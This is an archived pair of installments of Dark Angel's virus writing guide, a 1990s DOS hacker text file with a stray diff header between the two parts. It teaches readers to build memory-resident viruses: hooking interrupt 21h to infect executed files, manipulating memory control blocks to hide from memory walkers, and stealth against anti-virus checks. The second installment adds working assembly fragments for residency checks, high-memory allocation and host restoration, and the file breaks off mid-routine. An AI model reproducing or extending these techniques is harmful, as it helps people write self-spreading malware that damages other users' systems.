To return from an interrupt, an iret instruction is used. The iret
instruction reverses the order of the int call. It performs a retf
followed by a popf. This call/return procedure has an interesting
sideeffect when considering interrupt handlers which return values in the
flags register. Such handlers must directly manipulate the flags register
saved in the stack rather than simply directly manipulating the register.
The processor searches the interrupt table for the location to call. For
example, when an interrupt 21h is called, the processor searches the
interrupt table to find the address of the interrupt 21h handler. The
segment of this pointer is 0000h and the offset is 21h*4, or 84h. In other
words, the interrupt table is simply a consecutive chain of 256 pointers to
interrupts, ranging from interrupt 0 to interrupt 255. To find a specific
interrupt handler, load in a double word segment:offset pair from segment
0, offset (interrupt number)*4. The interrupt table is stored in standard
Intel reverse double word format, i.e. the offset is stored first, followed
by the segment.
For a program to "capture" an interrupt, that is, redirect the interrupt,
it must change the data in the interrupt table. This can be accomplished
either by direct manipulation of the table or by a call to the appropriate
DOS function. If the program manipulates the table directly, it should put
this code between a CLI/STI pair, as issuing an interrupt by the processor
while the table is half-altered could have dire consequences. Generally,
direct manipulation is the preferable alternative, since some primitive
programs such as FluShot+ trap the interrupt 21h call used to set the
interrupt and will warn the user if any "unauthorised" programs try to
change the handler.
An interrupt handler is a piece of code which is executed when an interrupt
is requested. The interrupt may either be requested by a program or may be
requested by the processor. Interrupt 21h is an example of the former,
while interrupt 8h is an example of the latter. The system BIOS supplies a
portion of the interrupt handlers, with DOS and other programs supplying
the rest. Generally, BIOS interrupts range from 0h to 1Fh, DOS interrupts
range from 20h to 2Fh, and the rest is available for use by programs.
When a program wishes to install its own code, it must consider several
factors. First of all, is it supplanting or overlaying existing code, that
is to say, is there already an interrupt handler present? Secondly, does
the program wish to preserve the functioning of the old interrupt handler?
For example, a program which "hooks" into the BIOS clock tick interrupt
would definitely wish to preserve the old interrupt handler. Ignoring the
presence of the old interrupt handler could lead to disastrous results,
especially if previously-loaded resident programs captured the interrupt.
A technique used in many interrupt handlers is called "chaining." With
chaining, both the new and the old interrupt handlers are executed. There
are two primary methods for chaining: preexecution and postexecution. With
preexecution chaining, the old interrupt handler is called before the new
one. This is accomplished via a pseudo-INT call consisting of a pushf
followed by a call far ptr. The new interrupt handler is passed control
when the old one terminates. Preexecution chaining is used when the new
interrupt handler wishes to use the results of the old interrupt handler in
deciding the appropriate action to take. Postexecution chaining is more
straightforward, simply consisting of a jmp far ptr instruction. This
method doesn't even require an iret instruction to be located in the new
interrupt handler! When the jmp is executed, the new interrupt handler has
completed its actions and control is passed to the old interrupt handler.
This method is used primarily when a program wishes to intercept the
interrupt call before DOS or BIOS gets a chance to process it.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
AN INTRODUCTION TO DOS MEMORY ALLOCATION
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Memory allocation is perhaps one of the most difficult concepts, certainly
the hardest to implement, in DOS. The problem lies in the lack of official
documentation by both Microsoft and IBM. Unfortunately, knowledge of the
DOS memory manager is crucial in writing memory-resident virii.
When a program asks DOS for more memory, the operating system carves out a
chunk of memory from the pool of unallocated memory. Although this concept
is simple enough to understand, it is necessary to delve deeper in order to
have sufficient knowledge to write effective memory-resident virii. DOS
creates memory control blocks (MCBs) to help itself keep track of these
chunks of memory. MCBs are paragraph-sized areas of memory which are each
devoted to keeping track of one particular area of allocated memory. When
a program requests memory, one paragraph for the MCB is allocated in
addition to the memory requested by the program. The MCB lies just in
front of the memory it controls. Visually, a MCB and its memory looks
like:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> MCB 1 <20> Chunk o' memory controlled by MCB 1 <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
When a second section of memory is requested, another MCB is created just
above the memory last allocated. Visually:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> MCB 1 <20> Chunk 1 <20> MCB 2 <20> Chunk 2 <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
In other words, the MCBs are "stacked" one on top of the other. It is
wasteful to deallocate MCB 1 before MCB 2, as holes in memory develop. The
structure for the MCB is as follows:
Offset Size Meaning
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.
If the byte at offset 0 is 'M', then the MCB is not the end of the chain.
The 'Z' denotes the end of the MCB chain. There can be more than one MCB
chain present in memory at once and this "feature" is used by virii to go
resident in high memory. The word at offset 1 is normally equal to the PSP
of the MCB's owner. If it is 0, it means that the block is free and is
available for use by programs. A value of 0008h in this field denotes DOS
as the owner of the block. The value at offset 3 does NOT include the
paragraph allocated for the MCB. It reflects the value passed to the DOS
allocation functions. All fields located after the block size are pretty
useless so you might as well ignore them.
When a COM file is loaded, all available memory is allocated to it by DOS.
When an EXE file is loaded, the amount of memory specified in the EXE
header is allocated. There is both a minimum and maximum value in the
header. Usually, the linker will set the maximum value to FFFFh
paragraphs. If the program wishes to allocate memory, it must first shrink
the main chunk of memory owned by the program to the minimum required.
Otherwise, the pathetic attempt at memory allocation will fail miserably.
Since programs normally are not supposed to manipulate MCBs directly, the
DOS memory manager calls (48h - 4Ah) all return and accept values of the
first program-usable memory paragraph, that is, the paragraph of memory
immediately after the MCB. It is important to keep this in mind when
writing MCB-manipulating code.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
METHODS OF GOING RESIDENT
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
There are a variety of memory resident strategies. The first is the use of
the traditional DOS interrupt TSR routines, either INT 27h or INT
21h/Function 31h. These routines are undesirable when writing virii,
because they do not return control back to the program after execution.
Additionally, they show up on "memory walkers" such as PMAP and MAPMEM.
Even a doorknob can spot such a blatant viral presence.
The traditional viral alternative to using the standard DOS interrupt is,
of course, writing a new residency routine. Almost every modern virus uses
a routine to "load high," that is, to load itself into the highest possible
memory location. For example, in a 640K system, the virus would load
itself just under the 640K but above the area reserved by DOS for program
use. Although this is technically not the high memory area, it shall be
referred to as such in the remainder of this file in order to add confusion
and general chaos into this otherwise well-behaved file. Loading high can
be easily accomplished through a series of interrupt calls for reallocation
and allocation. The general method is:
1. Find the memory size
2. Shrink the program's memory to the total memory size - virus size
3. Allocate memory for the virus (this will be in the high memory area)
4. Change the program's MCB to the end of the chain (Mark it with 'Z')
5. Copy the virus to high memory
6. Save the old interrupt vectors if the virus wishes to chain vectors
7. Set the interrupt vectors to the appropriate locations in high memory
When calculating memory sizes, remember that all sizes are in paragraphs.
The MCB must also be considered, as it takes up one paragraph of memory.
The advantage of this method is that it does not, as a rule, show up on
memory walkers. However, the total system memory as shown by such programs
as CHKDSK will decrease.
A third alternative is no allocation at all. Some virii copy themselves to
the memory just under 640K, but fail to allocate the memory. This can have
disastrous consequences, as any program loaded by DOS can possibly use this
memory. If it is corrupted, unpredictable results can occur. Although no
memory loss is shown by CHKDSK, the possible chaos resulting from this
method is clearly unacceptable. Some virii use memory known to be free.
For example, the top of the interrupt table or parts of video memory all
may be used with some assurance that the memory will not be corrupted.
Once again, this technique is undesirable as it is extremely unstable.
These techniques are by no means the only methods of residency. I have
seen such bizarre methods as going resident in the DOS internal disk
buffers. Where there's memory, there's a way.
It is often desirable to know if the virus is already resident. The
simplest method of doing this is to write a checking function in the
interrupt handler code. For example, a call to interrupt 21h with the ax
register set to 7823h might return a 4323h value in ax, signifying
residency. When using this check, it is important to ensure that no
possible conflicts with either other programs or DOS itself will occur.
Another method, albeit a costly process in terms of both time and code
length, is to check each segment in memory for the code indicating the
presence of the virus. This method is, of course, undesirable, since it is
far, far simpler to code a simple check via the interrupt handler. By
using any type of check, the virus need not fear going resident twice,
which would simply be a waste of memory.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WHY RESIDENT?
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Memory resident virii have several distinct advantages over runtime virii.
o Size
Memory resident virii are often smaller than their runtime brethern as
they do not need to include code to search for files to infect.
o Effectiveness
They are often more virulent, since even the DIR command can be
"infected." Generally, the standard technique is to infect each file
that is executed while the virus is resident.
o Speed
Runtime virii infect before a file is executed. A poorly written or
large runtime virus will cause a noticible delay before execution
easily spotted by users. Additionally, it causes inordinate disk
activity which is detrimental to the lifespan of the virus.
o Stealth
The manipulation of interrupts allows for the implementation of
stealth techniques, such as the hiding of changes in file lengths in
directory listings and on-the-fly disinfection. Thus it is harder for
the average user to detect the virus. Additionally, the crafty virus
may even hide from CRC checks, thereby obliterating yet another anti-
virus detection technique.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STRUCTURE OF THE RESIDENT VIRUS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
With the preliminary information out of the way, the discussion can now
shift to more virus-related, certainly more interesting topics. The
structure of the memory resident virus is radically different from that of
the runtime virus. It simply consists of a short stub used to determine if
the virus is already resident. If it is not already in memory, the stuf
loads it into memory through whichever method. Finally, the stub restores
control to the host program. The rest of the code of the resident virus
consists of interrupt handlers where the bulk of the work is done.
The stub is the only portion of the virus which needs to have delta offset
calculations. The interrupt handler ideally will exist at a location which
will not require such mundane fixups. Once loaded, there should be no
further use of the delta offset, as the location of the variables is
preset. Since the resident virus code should originate at offset 0 of the
memory block, originate the source code at offset 0. Do not include a jmp
to the virus code in the original carrier file. When moving the virus to
memory, simply move starting from [bp+startvirus] and the offsets should
work out as they are in the source file. This simplifies (and shortens)
the coding of the interrupt handlers.
Several things must be considered in writing the interrupt handlers for a
virus. First, the virus must preserve the registers. If the virus uses
preexecution chaining, it must save the registers after the call to the
original handler. If the virus uses postexecution chaining, it must
restore the original registers of the interrupt call before the call to the
original handler. Second, it is more difficult, though not impossible, to
implement encryption with memory resident virii. The problem is that if
the interrupt handler is encrypted, that interrupt handler cannot be called
before the decryption function. This can be a major pain in the ass. The
cheesy way out is to simply not include encryption. I prefer the cheesy
way. The noncheesy readers out there might wish to have the memory
simultaneously hold two copies of the virus, encrypt the unused copy, and
use the encrypted copy as the write buffer. Of course, the virus would
then take twice the amount of memory it would normally require. The use of
encryption is a matter of personal choice and cheesiness. A sidebar to
preservation of interrupt handlers: As noted earlier, the flags register is
restored from the stack. It is important in preexecution chaining to save
the new flags register onto the stack where the old flags register was
stored.
Another important factor to consider when writing interrupt handlers,
especially those of BIOS interrupts, is DOS's lack of reentrance. This
means that DOS functions cannot be executed while DOS is in the midst of
processing an interrupt request. This is because DOS sets up the same
stack pointer each time it is called, and calling the second DOS interrupt
will cause the processing of one to overwrite the stack of the other,
causing unpredictable, but often terminal, results. This applies
regardless of which DOS interrupts are called, but it is especially true
for interrupt 21h, since it is often tempting to use it from within an
interrupt handler. Unless it is certain that DOS is not processing a
previous request, do NOT use a DOS function in the interrupt handler. It
is possible to use the "lower" interrupt 21h functions without fear of
corrupting the stack, but they are basically the useless ones, performing
functions easily handled by BIOS calls or direct hardware access. This
entire discussion only applies to hooking non-DOS interrupts. With hooking
DOS interrupts comes the assurance that DOS is not executing elsewhere,
since it would then be corrupting its own stack, which would be a most
unfortunate occurence indeed.
The most common interrupt to hook is, naturally, interrupt 21h. Interrupt
21h is called by just about every DOS program. The usual strategy is for a
virus to find potential files to infect by intercepting certain DOS calls.
The primary functions to hook include the find first, find next, open, and
execute commands. By cleverly using pre and postexecution chaining, a
virus can easily find the file which was found, opened, or executed and
infect it. The trick is simply finding the appropriate method to isolate
the filename. Once that is done, the rest is essentially identical to the
runtime virus.
When calling interrupts hooked by the virus from the virus interrupt code,
make sure that the virus does not trap this particular call, lest an
infinite loop result. For example, if the execute function is trapped and
the virus wishes, for some reason, to execute a particular file using this
function, it should NOT use a simple "int 21h" to do the job. In cases
such as this where the problem is unavoidable, simply simulate the
interrupt call with a pushf/call combination.
The basic structure of the interrupt handler is quite simple. The handler
first screens the registers for either an identification call or for a
trapped function such as execute. If it is not one of the above, the
handler throws control back to the original interrupt handler. If it is an
identification request, the handler simply sets the appropriate registers
and returns to the calling program. Otherwise, the virus must decide if
the request calls for pre or postexecution chaining. Regardless of which
it uses, the virus must find the filename and use that information to
infect. The filename may be found either through the use of registers as
pointers or by searching thorugh certain data structures, such as FCBs.
The infection routine is the same as that of nonresident virii, with the
exception of the guidelines outlined in the previous few paragraphs.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WHAT'S TO COME
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I apologise for the somewhat cryptic sentences used in the guide, but I'm a
programmer, not a writer. My only suggestion is to read everything over
until it makes sense. I decided to pack this issue of the guide with
theory rather than code. In the next installment, I will present all the
code necessary to write a memory-resident virus, along with some techniques
which may be used. However, all the information needed to write a resident
virii has been included in this installment; it is merely a matter of
implementation. Have buckets o' fun!

441
textfiles.com/virus/ps-vir5.txt Normal file
View File

@@ -0,0 +1,441 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: Why do I bother writing one??
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MO STUFF: Greets to all the Phalcon/Skism
crew,especially Garbageheap,Hellraiser,
Demogorgon,Lazarus Long,and Decimator.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Chewy Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
"Over 2 billion served"
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT V: RESIDENT VIRUSES, PART II
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
After reading the the Clumpy Guide, you should have at least some idea of
how to code a resident virus. However, the somewhat vague descriptions I
gave may have left you in a befuddled state. Hopefully, this installment
will clear the air.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STRUCTURE
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
In case you missed it the last time, here is a quick, general overview of
the structure of the resident virus. The virus consists of two major
portions, the loading stub and the interrupt handlers. The loading stub
performs two functions. First, it redirects interrupts to the virus code.
Second, it causes the virus to go resident. The interrupt handlers contain
the code which cause file infection. Generally, the handlers trap
interrupt 21h and intercept such calls as file execution.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LOADING STUB
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The loading stub consists of two major portions, the residency routine and
the restoration routine. The latter portion, which handles the return of
control to the original file, is identical as the one in the nonresident
virus. I will briefly touch upon it here.
By now you should understand thoroughly the theory behind COM file
infection. By simply replacing the first few bytes, transfer can be
controlled to the virus. The trick in restoring COM files is simply to
restore the overwritten bytes at the beginning of the file. This
restoration takes place only in memory and is therefore far from permanent.
Since COM files always load in a single memory segment and begin loading at
offset 100h in the memory segment (to make room for the PSP), the
restoration procedure is very simple. For example, if the first three
bytes of a COM file were stored in a buffer called "first3" before being
overwritten by the virus, then the following code would restore the code in
memory:
mov di,100h ; Absolute location of destination
lea si,[bp+first3] ; Load address of saved bytes.
; Assume bp = "delta offset"
movsw ; Assume CS = DS = ES and a cleared direction flag
movsb ; Move three bytes
The problem of returning control to the program still remains. This simply
consists of forcing the program to transfer control to offset 100h. The
easiest routine follows:
mov di,100h
jmp di
There are numerous variations of this routine, but they all accomplish the
basic task of setting the ip to 100h.
You should also understand the concept behind EXE infection by now. EXE
infection, at its most basic level, consists of changing certain bytes in
the EXE header. The trick is simply to undo all the changes which the
virus made. The code follows:
mov ax, es ; ES = segment of PSP
add ax, 10h ; Loading starts after PSP
add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
; relative to end of PSP
cli
add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
mov ss, ax
mov sp, word ptr cs:[bp+OrigSSSP]
sti
db 0eah ; JMP FAR PTR SEG:OFF
OrigCSIP dd ? ; Put values from the header
OrigSSSP dd ? ; into here
If the virus is an EXE-specific infector but you still wish to use a COM
file as the carrier file, then simply set the OrigCSIP value to FFF0:0000.
This will be changed by the restoration routine to PSP:0000 which is,
conveniently, an int 20h instruction.
All that stuff should not be new. Now we shall tread on new territory.
There are two methods of residency. The first is the weenie method which
simply consists of using DOS interrupts to do the job for you. This method
sucks because it is 1) easily trappable by even the most primitive of
resident virus monitors and 2) forces the program to terminate execution,
thereby alerting the user to the presence of the virus. I will not even
present code for the weenie method because, as the name suggests, it is
only for weenies. Real programmers write their own residency routines.
This basically consists of MCB-manipulation. The general method is:
1. Check for prior installation. If already installed, exit the virus.
2. Find the top of memory.
3. Allocate the high memory.
4. Copy the virus to high memory.
5. Swap the interrupt vectors.
There are several variations on this technique and they will be discussed
as the need arises.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLATION CHECK
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
There are several different types of installation check. The most common
is a call to int 21h with AX set to a certain value. If certain registers
are returned set to certain values, then the virus is resident. For
example, a sample residency check would be:
mov ax,9999h ; residency check
int 21h
cmp bx,9999h ; returns bx=9999h if installed
jz already_installed
When choosing a value for ax in the installation check, make sure it does
not conflict with an existing function unless the function is harmless.
For example, do not use display string (ah=9) unless you wish to have
unpredictable results when the virus is first being installed. An example
of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
(ah=0bh). Of course, if the check conflicts with a current function, make
sure it is narrow enough so no programs will have a problem with it. For
example, do not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
bx=3030h.
Another method of checking for residency is to search for certain
characteristics of the virus. For example, if the virus always sets an
unused interrupt vector to point to its code, a possible residency check
would be to search the vector for the virus characteristics. For example:
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[60h*4] ; get address of interrupt 60h
; assume the virus traps this and puts its int 21h handler
; here
cmp es:bx,0FF2Eh ; search for the virus string
.
.
.
int60:
jmp far ptr cs:origint21
When using this method, take care to ensure that there is no possibility of
this characteristic being false when the virus is resident. In this case,
another program must not trap the int 60h vector or else the check may fail
even if the virus is already resident, thereby causing unpredictable
results.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
FIND THE TOP OF MEMORY
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DOS generally loads all available memory to a program upon loading. Armed
with this knowledge, the virus can easily determine the available memory
size. Once again, the MCB structure is:
Offset Size Meaning
------ ------- -------
0 BYTE 'M' or 'Z'
1 WORD Process ID (PSP of block's owner)
3 WORD Size in paragraphs
5 3 BYTES Reserved (Unused)
8 8 BYTES DOS 4+ uses this. Yay.
mov ax,ds ; Assume DS initially equals the segment of the PSP
dec ax
mov ds,ax ; DS = MCB of infected program
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)
A simpler method of performing the same action is to use DOS's reallocate
memory function in the following manner:
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
mov bx,0FFFFh ; Request a ridiculous amount of memory
int 21h ; Returns maximum available memory in BX
; This is the same value as in ds:[3]
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ALLOCATE THE HIGH MEMORY
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The easiest method to allocate memory is to let DOS do the work for you.
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
; memory available to the program (returned by earlier
; call to int 21h/function 4ah
int 21h
mov ah,48h ; Allocate memory
mov bx,(endvirus-startvirus+15)/16
int 21h
mov es,ax ; es now holds the high memory segment
dec bx
mov byte ptr ds:[0], 'Z' ; probably not needed
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB
The purpose of marking DOS as the owner of the MCB is to prevent the
deallocation of the memory area upon termination of the carrier program.
Of course, some may prefer direct manipulation of the MCBs. This is easily
accomplished. If ds is equal to the segment of the carrier program's MCB,
then the following code will do the trick:
; Step 1) Shrink the carrier program's memory allocation
; One paragraph is added for the MCB of the memory area which the virus
; will inhabit
sub ds:[3],(endvirus-startvirus+15)/16 + 1
; Step 2) Mark the carrier program's MCB as the last in the chain
; This isn't really necessary, but it assures that the virus will not
; corrupt the memory chains
mov byte ptr ds:[0],'Z'
; Step 3) Alter the program's top of memory field in the PSP
; This preserves compatibility with COMMAND.COM and any other program
; which uses the field to determine the top of memory
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
; Step 4) Calculate the first usable segment
mov bx,ds:[3] ; Get MCB size
stc ; Add one for the MCB segment
adc bx,ax ; Assume AX still equals the MCB of the carrier file
; BX now holds first usable segment. Build the MCB
; there
; Alternatively, you can use the value in ds:[12h] as the first usable
; segment:
; mov bx,ds:[12h]
; Step 5) Build the MCB
